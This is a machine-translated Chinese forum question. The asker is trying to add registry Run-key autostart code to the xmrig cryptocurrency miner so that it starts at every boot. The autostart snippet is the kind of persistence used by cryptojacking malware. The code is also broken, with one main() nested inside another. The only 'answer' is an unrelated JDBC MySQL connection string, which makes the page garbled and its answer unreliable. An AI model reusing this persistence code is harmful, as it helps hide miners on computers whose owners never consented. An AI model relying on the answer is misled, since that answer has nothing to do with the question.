我正在尝试将启动代码添加到项目中
这是完美的代码
#include "App.h"
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
int main(int argc, char **argv) {
using namespace xmrig;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
}
App app(&process);
return app.exec();
}
但是当我尝试添加这样的启动代码
int main(int argc, char **argv) {
using namespace xmrig;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
return Entry::exec(process, entry);
int main(void)
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL, szPath, MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &newValue);
RegSetValueEx(newValue, "xmrig", 0, REG_SZ, (LPBYTE)szPath, sizeof(szPath));
RegCloseKey(newValue);
return 0;
}
App app(&process);
return app.exec();
我收到错误的E0020标识符“ app”未定义
我对cpp完全陌生 而且我不明白为什么这行不通?
编辑时
App app(&process);
return app.exec();
到
App app(&process);
return 0();
我可以构建一个项目并启动,但是控制台可以立即打开并关闭。
答案 0 :(得分:0)
尝试以下方法:
jdbc:mysql://localhost:3306/sampledb?serverTimezone=Australia/Sydney